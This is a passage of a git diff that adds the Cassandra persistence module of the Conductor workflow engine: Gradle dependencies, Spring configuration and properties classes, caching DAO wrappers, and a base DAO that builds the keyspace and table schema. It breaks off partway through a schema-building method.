+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +apply plugin: 'groovy' + +dependencies { + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation "com.datastax.cassandra:cassandra-driver-core:${revCassandra}" + implementation "org.apache.commons:commons-lang3" + + testImplementation "com.fasterxml.jackson.datatype:jackson-datatype-jdk8" + testImplementation project(':conductor-core').sourceSets.test.output + testImplementation project(':conductor-common').sourceSets.test.output + + testImplementation "org.apache.groovy:groovy-all:${revGroovy}" + testImplementation "org.spockframework:spock-core:${revSpock}" + testImplementation "org.spockframework:spock-spring:${revSpock}" + testImplementation "org.testcontainers:spock:${revTestContainer}" + testImplementation "org.testcontainers:cassandra:${revTestContainer}" + testImplementation "com.google.protobuf:protobuf-java:${revProtoBuf}" +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/CassandraConfiguration.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/CassandraConfiguration.java new file mode 100644 index 0000000..dc59754 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/CassandraConfiguration.java @@ -0,0 +1,118 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.cache.CacheManager; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.cassandra.config.cache.CacheableEventHandlerDAO; +import com.netflix.conductor.cassandra.config.cache.CacheableMetadataDAO; +import com.netflix.conductor.cassandra.dao.CassandraEventHandlerDAO; +import com.netflix.conductor.cassandra.dao.CassandraExecutionDAO; +import com.netflix.conductor.cassandra.dao.CassandraMetadataDAO; +import com.netflix.conductor.cassandra.dao.CassandraPollDataDAO; +import com.netflix.conductor.cassandra.util.Statements; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.dao.QueueDAO; + +import com.datastax.driver.core.Cluster; +import com.datastax.driver.core.Metadata; +import com.datastax.driver.core.Session; +import com.fasterxml.jackson.databind.ObjectMapper; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(CassandraProperties.class) +@ConditionalOnProperty(name = "conductor.db.type", havingValue = "cassandra") +public class CassandraConfiguration { + + private static final Logger LOGGER = LoggerFactory.getLogger(CassandraConfiguration.class); + + @Bean + public Cluster cluster(CassandraProperties properties) { + String host = properties.getHostAddress(); + int port = properties.getPort(); + + LOGGER.info("Connecting to cassandra cluster with host:{}, port:{}", host, port); + + Cluster cluster = Cluster.builder().addContactPoint(host).withPort(port).build(); + + Metadata metadata = cluster.getMetadata(); + LOGGER.info("Connected to cluster: {}", metadata.getClusterName()); + metadata.getAllHosts() + .forEach( + h -> + LOGGER.info( + "Datacenter:{}, host:{}, rack: {}", + h.getDatacenter(), + h.getEndPoint().resolve().getHostName(), + h.getRack())); + return cluster; + } + + @Bean + public Session session(Cluster cluster) { + LOGGER.info("Initializing cassandra session"); + return cluster.connect(); + } + + @Bean + public MetadataDAO cassandraMetadataDAO( + Session session, + ObjectMapper objectMapper, + CassandraProperties properties, + Statements statements, + CacheManager cacheManager) { + CassandraMetadataDAO cassandraMetadataDAO = + new CassandraMetadataDAO(session, objectMapper, properties, statements); + return new CacheableMetadataDAO(cassandraMetadataDAO, properties, cacheManager); + } + + @Bean + public ExecutionDAO cassandraExecutionDAO( + Session session, + ObjectMapper objectMapper, + CassandraProperties properties, + Statements statements, + QueueDAO queueDAO) { + return new CassandraExecutionDAO(session, objectMapper, properties, statements, queueDAO); + } + + @Bean + public EventHandlerDAO cassandraEventHandlerDAO( + Session session, + ObjectMapper objectMapper, + CassandraProperties properties, + Statements statements, + CacheManager cacheManager) { + CassandraEventHandlerDAO cassandraEventHandlerDAO = + new CassandraEventHandlerDAO(session, objectMapper, properties, statements); + return new CacheableEventHandlerDAO(cassandraEventHandlerDAO, properties, cacheManager); + } + + @Bean + public CassandraPollDataDAO cassandraPollDataDAO() { + return new CassandraPollDataDAO(); + } + + @Bean + public Statements statements(CassandraProperties cassandraProperties) { + return new Statements(cassandraProperties.getKeyspace()); + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/CassandraProperties.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/CassandraProperties.java new file mode 100644 index 0000000..37ca274 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/CassandraProperties.java @@ -0,0 +1,174 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.config; + +import java.time.Duration; +import java.time.temporal.ChronoUnit; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; + +import com.datastax.driver.core.ConsistencyLevel; + +@ConfigurationProperties("conductor.cassandra") +public class CassandraProperties { + + /** The address for the cassandra database host */ + private String hostAddress = "127.0.0.1"; + + /** The port to be used to connect to the cassandra database instance */ + private int port = 9142; + + /** The name of the cassandra cluster */ + private String cluster = ""; + + /** The keyspace to be used in the cassandra datastore */ + private String keyspace = "conductor"; + + /** + * The number of tasks to be stored in a single partition which will be used for sharding + * workflows in the datastore + */ + private int shardSize = 100; + + /** The replication strategy with which to configure the keyspace */ + private String replicationStrategy = "SimpleStrategy"; + + /** The key to be used while configuring the replication factor */ + private String replicationFactorKey = "replication_factor"; + + /** The replication factor value with which the keyspace is configured */ + private int replicationFactorValue = 3; + + /** The consistency level to be used for read operations */ + private ConsistencyLevel readConsistencyLevel = ConsistencyLevel.LOCAL_QUORUM; + + /** The consistency level to be used for write operations */ + private ConsistencyLevel writeConsistencyLevel = ConsistencyLevel.LOCAL_QUORUM; + + /** The time in seconds after which the in-memory task definitions cache will be refreshed */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration taskDefCacheRefreshInterval = Duration.ofSeconds(60); + + /** The time in seconds after which the in-memory event handler cache will be refreshed */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration eventHandlerCacheRefreshInterval = Duration.ofSeconds(60); + + /** The time to live in seconds for which the event execution will be persisted */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration eventExecutionPersistenceTtl = Duration.ZERO; + + public String getHostAddress() { + return hostAddress; + } + + public void setHostAddress(String hostAddress) { + this.hostAddress = hostAddress; + } + + public int getPort() { + return port; + } + + public void setPort(int port) { + this.port = port; + } + + public String getCluster() { + return cluster; + } + + public void setCluster(String cluster) { + this.cluster = cluster; + } + + public String getKeyspace() { + return keyspace; + } + + public void setKeyspace(String keyspace) { + this.keyspace = keyspace; + } + + public int getShardSize() { + return shardSize; + } + + public void setShardSize(int shardSize) { + this.shardSize = shardSize; + } + + public String getReplicationStrategy() { + return replicationStrategy; + } + + public void setReplicationStrategy(String replicationStrategy) { + this.replicationStrategy = replicationStrategy; + } + + public String getReplicationFactorKey() { + return replicationFactorKey; + } + + public void setReplicationFactorKey(String replicationFactorKey) { + this.replicationFactorKey = replicationFactorKey; + } + + public int getReplicationFactorValue() { + return replicationFactorValue; + } + + public void setReplicationFactorValue(int replicationFactorValue) { + this.replicationFactorValue = replicationFactorValue; + } + + public ConsistencyLevel getReadConsistencyLevel() { + return readConsistencyLevel; + } + + public void setReadConsistencyLevel(ConsistencyLevel readConsistencyLevel) { + this.readConsistencyLevel = readConsistencyLevel; + } + + public ConsistencyLevel getWriteConsistencyLevel() { + return writeConsistencyLevel; + } + + public void setWriteConsistencyLevel(ConsistencyLevel writeConsistencyLevel) { + this.writeConsistencyLevel = writeConsistencyLevel; + } + + public Duration getTaskDefCacheRefreshInterval() { + return taskDefCacheRefreshInterval; + } + + public void setTaskDefCacheRefreshInterval(Duration taskDefCacheRefreshInterval) { + this.taskDefCacheRefreshInterval = taskDefCacheRefreshInterval; + } + + public Duration getEventHandlerCacheRefreshInterval() { + return eventHandlerCacheRefreshInterval; + } + + public void setEventHandlerCacheRefreshInterval(Duration eventHandlerCacheRefreshInterval) { + this.eventHandlerCacheRefreshInterval = eventHandlerCacheRefreshInterval; + } + + public Duration getEventExecutionPersistenceTtl() { + return eventExecutionPersistenceTtl; + } + + public void setEventExecutionPersistenceTtl(Duration eventExecutionPersistenceTtl) { + this.eventExecutionPersistenceTtl = eventExecutionPersistenceTtl; + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CacheableEventHandlerDAO.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CacheableEventHandlerDAO.java new file mode 100644 index 0000000..4973e81 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CacheableEventHandlerDAO.java @@ -0,0 +1,134 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.config.cache; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.cache.Cache; +import org.springframework.cache.CacheManager; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.CachePut; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.cassandra.dao.CassandraEventHandlerDAO; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.metrics.Monitors; + +import jakarta.annotation.PostConstruct; + +import static com.netflix.conductor.cassandra.config.cache.CachingConfig.EVENT_HANDLER_CACHE; + +@Trace +public class CacheableEventHandlerDAO implements EventHandlerDAO { + + private static final Logger LOGGER = LoggerFactory.getLogger(CacheableEventHandlerDAO.class); + + private static final String CLASS_NAME = CacheableEventHandlerDAO.class.getSimpleName(); + + private final CassandraEventHandlerDAO cassandraEventHandlerDAO; + private final CassandraProperties properties; + + private final CacheManager cacheManager; + + public CacheableEventHandlerDAO( + CassandraEventHandlerDAO cassandraEventHandlerDAO, + CassandraProperties properties, + CacheManager cacheManager) { + this.cassandraEventHandlerDAO = cassandraEventHandlerDAO; + this.properties = properties; + this.cacheManager = cacheManager; + } + + @PostConstruct + public void scheduleEventHandlerRefresh() { + long cacheRefreshTime = properties.getEventHandlerCacheRefreshInterval().getSeconds(); + Executors.newSingleThreadScheduledExecutor() + .scheduleWithFixedDelay( + this::refreshEventHandlersCache, 0, cacheRefreshTime, TimeUnit.SECONDS); + } + + @Override + @CachePut(value = EVENT_HANDLER_CACHE, key = "#eventHandler.name") + public void addEventHandler(EventHandler eventHandler) { + cassandraEventHandlerDAO.addEventHandler(eventHandler); + } + + @Override + @CachePut(value = EVENT_HANDLER_CACHE, key = "#eventHandler.name") + public void updateEventHandler(EventHandler eventHandler) { + cassandraEventHandlerDAO.updateEventHandler(eventHandler); + } + + @Override + @CacheEvict(EVENT_HANDLER_CACHE) + public void removeEventHandler(String name) { + cassandraEventHandlerDAO.removeEventHandler(name); + } + + @Override + public List getAllEventHandlers() { + Object nativeCache = cacheManager.getCache(EVENT_HANDLER_CACHE).getNativeCache(); + if (nativeCache != null && nativeCache instanceof ConcurrentHashMap) { + ConcurrentHashMap cacheMap = (ConcurrentHashMap) nativeCache; + if (!cacheMap.isEmpty()) { + List eventHandlers = new ArrayList<>(); + cacheMap.values().stream() + .filter(element -> element != null && element instanceof EventHandler) + .forEach(element -> eventHandlers.add((EventHandler) element)); + return eventHandlers; + } + } + + return refreshEventHandlersCache(); + } + + @Override + public List getEventHandlersForEvent(String event, boolean activeOnly) { + if (activeOnly) { + return getAllEventHandlers().stream() + .filter(eventHandler -> eventHandler.getEvent().equals(event)) + .filter(EventHandler::isActive) + .collect(Collectors.toList()); + } else { + return getAllEventHandlers().stream() + .filter(eventHandler -> eventHandler.getEvent().equals(event)) + .collect(Collectors.toList()); + } + } + + private List refreshEventHandlersCache() { + try { + Cache eventHandlersCache = cacheManager.getCache(EVENT_HANDLER_CACHE); + eventHandlersCache.clear(); + List eventHandlers = cassandraEventHandlerDAO.getAllEventHandlers(); + eventHandlers.forEach( + eventHandler -> eventHandlersCache.put(eventHandler.getName(), eventHandler)); + LOGGER.debug("Refreshed event handlers, total num: " + eventHandlers.size()); + return eventHandlers; + } catch (Exception e) { + Monitors.error(CLASS_NAME, "refreshEventHandlersCache"); + LOGGER.error("refresh EventHandlers failed", e); + } + return Collections.emptyList(); + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CacheableMetadataDAO.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CacheableMetadataDAO.java new file mode 100644 index 0000000..7ccdeb9 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CacheableMetadataDAO.java @@ -0,0 +1,165 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.config.cache; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Optional; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.cache.Cache; +import org.springframework.cache.CacheManager; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.CachePut; +import org.springframework.cache.annotation.Cacheable; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.cassandra.dao.CassandraMetadataDAO; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.metrics.Monitors; + +import jakarta.annotation.PostConstruct; + +import static com.netflix.conductor.cassandra.config.cache.CachingConfig.TASK_DEF_CACHE; + +@Trace +public class CacheableMetadataDAO implements MetadataDAO { + + private static final String CLASS_NAME = CacheableMetadataDAO.class.getSimpleName(); + + private static final Logger LOGGER = LoggerFactory.getLogger(CacheableMetadataDAO.class); + + private final CassandraMetadataDAO cassandraMetadataDAO; + private final CassandraProperties properties; + + private final CacheManager cacheManager; + + public CacheableMetadataDAO( + CassandraMetadataDAO cassandraMetadataDAO, + CassandraProperties properties, + CacheManager cacheManager) { + this.cassandraMetadataDAO = cassandraMetadataDAO; + this.properties = properties; + this.cacheManager = cacheManager; + } + + @PostConstruct + public void scheduleCacheRefresh() { + long cacheRefreshTime = properties.getTaskDefCacheRefreshInterval().getSeconds(); + Executors.newSingleThreadScheduledExecutor() + .scheduleWithFixedDelay( + this::refreshTaskDefsCache, 0, cacheRefreshTime, TimeUnit.SECONDS); + LOGGER.info( + "Scheduled cache refresh for Task Definitions, every {} seconds", cacheRefreshTime); + } + + @Override + @CachePut(value = TASK_DEF_CACHE, key = "#taskDef.name") + public TaskDef createTaskDef(TaskDef taskDef) { + cassandraMetadataDAO.createTaskDef(taskDef); + return taskDef; + } + + @Override + @CachePut(value = TASK_DEF_CACHE, key = "#taskDef.name") + public TaskDef updateTaskDef(TaskDef taskDef) { + return cassandraMetadataDAO.updateTaskDef(taskDef); + } + + @Override + @Cacheable(TASK_DEF_CACHE) + public TaskDef getTaskDef(String name) { + return cassandraMetadataDAO.getTaskDef(name); + } + + @Override + public List getAllTaskDefs() { + Object nativeCache = cacheManager.getCache(TASK_DEF_CACHE).getNativeCache(); + if (nativeCache != null && nativeCache instanceof ConcurrentHashMap) { + ConcurrentHashMap cacheMap = (ConcurrentHashMap) nativeCache; + if (!cacheMap.isEmpty()) { + List taskDefs = new ArrayList<>(); + cacheMap.values().stream() + .filter(element -> element != null && element instanceof TaskDef) + .forEach(element -> taskDefs.add((TaskDef) element)); + return taskDefs; + } + } + + return refreshTaskDefsCache(); + } + + @Override + @CacheEvict(TASK_DEF_CACHE) + public void removeTaskDef(String name) { + cassandraMetadataDAO.removeTaskDef(name); + } + + @Override + public void createWorkflowDef(WorkflowDef workflowDef) { + cassandraMetadataDAO.createWorkflowDef(workflowDef); + } + + @Override + public void updateWorkflowDef(WorkflowDef workflowDef) { + cassandraMetadataDAO.updateWorkflowDef(workflowDef); + } + + @Override + public Optional getLatestWorkflowDef(String name) { + return cassandraMetadataDAO.getLatestWorkflowDef(name); + } + + @Override + public Optional getWorkflowDef(String name, int version) { + return cassandraMetadataDAO.getWorkflowDef(name, version); + } + + @Override + public void removeWorkflowDef(String name, Integer version) { + cassandraMetadataDAO.removeWorkflowDef(name, version); + } + + @Override + public List getAllWorkflowDefs() { + return cassandraMetadataDAO.getAllWorkflowDefs(); + } + + @Override + public List getAllWorkflowDefsLatestVersions() { + return cassandraMetadataDAO.getAllWorkflowDefsLatestVersions(); + } + + private List refreshTaskDefsCache() { + try { + Cache taskDefsCache = cacheManager.getCache(TASK_DEF_CACHE); + taskDefsCache.clear(); + List taskDefs = cassandraMetadataDAO.getAllTaskDefs(); + taskDefs.forEach(taskDef -> taskDefsCache.put(taskDef.getName(), taskDef)); + LOGGER.debug("Refreshed task defs, total num: " + taskDefs.size()); + return taskDefs; + } catch (Exception e) { + Monitors.error(CLASS_NAME, "refreshTaskDefs"); + LOGGER.error("refresh TaskDefs failed ", e); + } + return Collections.emptyList(); + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CachingConfig.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CachingConfig.java new file mode 100644 index 0000000..6255ce4 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CachingConfig.java @@ -0,0 +1,31 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.config.cache; + +import org.springframework.cache.CacheManager; +import org.springframework.cache.annotation.EnableCaching; +import org.springframework.cache.concurrent.ConcurrentMapCacheManager; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration +@EnableCaching +public class CachingConfig { + public static final String TASK_DEF_CACHE = "taskDefCache"; + public static final String EVENT_HANDLER_CACHE = "eventHandlerCache"; + + @Bean + public CacheManager cacheManager() { + return new ConcurrentMapCacheManager(TASK_DEF_CACHE, EVENT_HANDLER_CACHE); + } +} diff --git a/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraBaseDAO.java b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraBaseDAO.java new file mode 100644 index 0000000..e6fb4b2 --- /dev/null +++ b/cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraBaseDAO.java @@ -0,0 +1,289 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao; + +import java.io.IOException; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.cassandra.config.CassandraProperties; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.metrics.Monitors; + +import com.datastax.driver.core.DataType; +import com.datastax.driver.core.Session; +import com.datastax.driver.core.schemabuilder.SchemaBuilder; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableMap; + +import static com.netflix.conductor.cassandra.util.Constants.DAO_NAME; +import static com.netflix.conductor.cassandra.util.Constants.ENTITY_KEY; +import static com.netflix.conductor.cassandra.util.Constants.EVENT_EXECUTION_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.EVENT_HANDLER_KEY; +import static com.netflix.conductor.cassandra.util.Constants.EVENT_HANDLER_NAME_KEY; +import static com.netflix.conductor.cassandra.util.Constants.HANDLERS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.MESSAGE_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.PAYLOAD_KEY; +import static com.netflix.conductor.cassandra.util.Constants.SHARD_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_EVENT_EXECUTIONS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_EVENT_HANDLERS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_TASK_DEFS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_TASK_DEF_LIMIT; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_TASK_LOOKUP; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_WORKFLOWS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_WORKFLOW_DEFS; +import static com.netflix.conductor.cassandra.util.Constants.TABLE_WORKFLOW_DEFS_INDEX; +import static com.netflix.conductor.cassandra.util.Constants.TASK_DEFINITION_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TASK_DEFS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TASK_DEF_NAME_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TASK_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TOTAL_PARTITIONS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.TOTAL_TASKS_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEFINITION_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_INDEX_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_INDEX_VALUE; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_NAME_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_DEF_NAME_VERSION_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_ID_KEY; +import static com.netflix.conductor.cassandra.util.Constants.WORKFLOW_VERSION_KEY; + +/** + * Creates the keyspace and tables. + * + *

CREATE KEYSPACE IF NOT EXISTS conductor WITH replication = { 'class' : + * 'NetworkTopologyStrategy', 'us-east': '3'}; + * + *

CREATE TABLE IF NOT EXISTS conductor.workflows ( workflow_id uuid, shard_id int, task_id text, + * entity text, payload text, total_tasks int STATIC, total_partitions int STATIC, PRIMARY + * KEY((workflow_id, shard_id), entity, task_id) ); + * + *

CREATE TABLE IF NOT EXISTS conductor.task_lookup( task_id uuid, workflow_id uuid, PRIMARY KEY + * (task_id) ); + * + *

CREATE TABLE IF NOT EXISTS conductor.task_def_limit( task_def_name text, task_id uuid, + * workflow_id uuid, PRIMARY KEY ((task_def_name), task_id_key) ); + * + *

CREATE TABLE IF NOT EXISTS conductor.workflow_definitions( workflow_def_name text, version + * int, workflow_definition text, PRIMARY KEY ((workflow_def_name), version) ); + * + *

CREATE TABLE IF NOT EXISTS conductor.workflow_defs_index( workflow_def_version_index text, + * workflow_def_name_version text, workflow_def_index_value text,PRIMARY KEY + * ((workflow_def_version_index), workflow_def_name_version) ); + * + *

CREATE TABLE IF NOT EXISTS conductor.task_definitions( task_defs text, task_def_name text, + * task_definition text, PRIMARY KEY ((task_defs), task_def_name) ); + * + *

CREATE TABLE IF NOT EXISTS conductor.event_handlers( handlers text, event_handler_name text, + * event_handler text, PRIMARY KEY ((handlers), event_handler_name) ); + * + *

CREATE TABLE IF NOT EXISTS conductor.event_executions( message_id text, event_handler_name + * text, event_execution_id text, payload text, PRIMARY KEY ((message_id, event_handler_name), + * event_execution_id) ); + */ +public abstract class CassandraBaseDAO { + + private static final Logger LOGGER = LoggerFactory.getLogger(CassandraBaseDAO.class); + + private final ObjectMapper objectMapper; + protected final Session session; + protected final CassandraProperties properties; + + private boolean initialized = false; + + public CassandraBaseDAO( + Session session, ObjectMapper objectMapper, CassandraProperties properties) { + this.session = session; + this.objectMapper = objectMapper; + this.properties = properties; + + init(); + } + + protected static UUID toUUID(String uuidString, String message) { + try { + return UUID.fromString(uuidString); + } catch (IllegalArgumentException iae) { + throw new IllegalArgumentException(message + " " + uuidString, iae); + } + } + + private void init() { + try { + if (!initialized) { + session.execute(getCreateKeyspaceStatement()); + session.execute(getCreateWorkflowsTableStatement()); + session.execute(getCreateTaskLookupTableStatement()); + session.execute(getCreateTaskDefLimitTableStatement()); + session.execute(getCreateWorkflowDefsTableStatement()); + session.execute(getCreateWorkflowDefsIndexTableStatement()); + session.execute(getCreateTaskDefsTableStatement()); + session.execute(getCreateEventHandlersTableStatement()); + session.execute(getCreateEventExecutionsTableStatement()); + LOGGER.info( + "{} initialization complete! Tables created!", getClass().getSimpleName()); + initialized = true; + } + } catch (Exception e) { + LOGGER.error("Error initializing and setting up keyspace and table in cassandra", e); + throw e; + } + } + + private String getCreateKeyspaceStatement() { + return SchemaBuilder.createKeyspace(properties.getKeyspace()) + .ifNotExists() + .with() + .replication( + ImmutableMap.of( + "class", + properties.getReplicationStrategy(), + properties.getReplicationFactorKey(), + properties.getReplicationFactorValue())) + .durableWrites(true) + .getQueryString(); + } + + private String getCreateWorkflowsTableStatement() { + return SchemaBuilder.createTable(properties.getKeyspace(), TABLE_WORKFLOWS) + .ifNotExists() + .addPartitionKey(WORKFLOW_ID_KEY, DataType.uuid()) + .addPartitionKey(SHARD_ID_KEY, DataType.cint()) + .addClusteringColumn(ENTITY_KEY, DataType.text()) + .addClusteringColumn(TASK_ID_KEY, DataType.text()) + .addColumn(PAYLOAD_KEY, DataType.text()) + .addStaticColumn(TOTAL_TASKS_KEY, DataType.cint()) + .addStaticColumn(TOTAL_PARTITIONS_KEY, DataType.cint()) + .getQueryString(); + } + + private String getCreateTaskLookupTableStatement() { + return SchemaBuilder.createTable(properties.getKeyspace(), TABLE_TASK_LOOKUP) + .ifNotExists() + .addPartitionKey(TASK_ID_KEY, DataType.uuid()) + .addColumn(WORKFLOW_ID_KEY, DataType.uuid()) + .getQueryString(); + } + + private String getCreateTaskDefLimitTableStatement() { + return SchemaBuilder.createTable(properties.getKeyspace(), TABLE_TASK_DEF_LIMIT) + .ifNotExists() + .addPartitionKey(TASK_DEF_NAME_KEY, DataType.text()) + .addClusteringColumn(TASK_ID_KEY, DataType.uuid()) + .addColumn(WORKFLOW_ID_KEY, DataType.uuid()) + .getQueryString(); + } + + private String getCreateWorkflowDefsTableStatement() { + return SchemaBuilder.createTable(properties.getKeyspace(), TABLE_WORKFLOW_DEFS) + .ifNotExists() + .addPartitionKey(WORKFLOW_DEF_NAME_KEY, DataType.text()) + .addClusteringColumn(WORKFLOW_VERSION_KEY, DataType.cint()) + .addColumn(WORKFLOW_DEFINITION_KEY, DataType.text()) + .getQueryString(); + } + + private String getCreateWorkflowDefsIndexTableStatement() { + return SchemaBuilder.createTable(properties.getKeyspace(), TABLE_WORKFLOW_DEFS_INDEX) + .ifNotExists() + .addPartitionKey(WORKFLOW_DEF_INDEX_KEY, DataType.text()) + .addClusteringColumn(WORKFLOW_DEF_NAME_VERSION_KEY, DataType.text()) + .addColumn(WORKFLOW_DEF_INDEX_VALUE, DataType.text()) + .getQueryString(); + } + + private String getCreateTaskDefsTableStatement() { + return SchemaBuilder.createTable(properties.getKeyspace(), TABLE_TASK_DEFS) + .ifNotExists() + .addPartitionKey(TASK_DEFS_KEY, DataType.text()) + 